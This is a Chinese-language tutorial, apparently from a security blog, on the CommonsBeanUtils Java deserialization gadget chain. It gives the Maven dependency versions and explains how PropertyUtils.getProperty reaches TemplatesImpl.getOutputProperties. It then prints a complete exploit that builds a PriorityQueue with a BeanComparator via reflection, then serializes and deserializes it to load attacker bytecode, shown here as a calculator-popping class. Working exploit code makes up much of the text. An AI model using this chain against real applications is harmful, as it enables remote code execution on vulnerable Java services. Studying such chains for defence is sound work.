Java反序列化CommonsBeanUtils反序列化
环境配置
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
漏洞分析
CommonsBeanUtils
这个包主要用于操作Java Bean
JavaBean
是一种比较特殊的类,有getXXX
和setXXX
方法来操作类对象
比如这种
JavaBean主要用来传递数据,即把一组数据组合成一个JavaBean便于传输。此外,JavaBean可以方便地被IDE工具分析,生成读写属性的代码,主要用在图形界面的可视化设计中。
Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任意 JavaBean 的 getter 方法
比如下面这样
而我们之前用于动态加载字节码的TemplateImpl
类里面的getOutputProperties
函数,也可以用于动态加载字节码,并且是个public
的getter
类
于是我们可以通过如下代码弹出计算器
public static void main(String argc[])throws Exception{
Field field;
TemplatesImpl templates = new TemplatesImpl();
byte[] evil = Files.readAllBytes(Paths.get("calc.class"));
field = TemplatesImpl.class.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "P3ngu1nW");
field = TemplatesImpl.class.getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates, new byte[][]{evil});
field = TemplatesImpl.class.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());
PropertyUtils.getProperty(templates, "outputProperties");
}
然后我们就往上找链子
在BeanComparator
类里面找到了相关的调用
而这里的Comparator
是我们想到了PriorityQueue
类,于是我们可以把CC2
的头给接过来
EXP
public static void main(String argc[])throws Exception{
Field field;
TemplatesImpl templates = new TemplatesImpl();
byte[] evil = Files.readAllBytes(Paths.get("calc.class"));
field = TemplatesImpl.class.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "P3ngu1nW");
field = TemplatesImpl.class.getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates, new byte[][]{evil});
field = TemplatesImpl.class.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue<>(2);
priorityQueue.add(1);
priorityQueue.add(1);
field = PriorityQueue.class.getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, beanComparator);
field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
field.set(priorityQueue, new Object[]{templates, templates});
serialize(priorityQueue);
unserialize("ser.bin");
}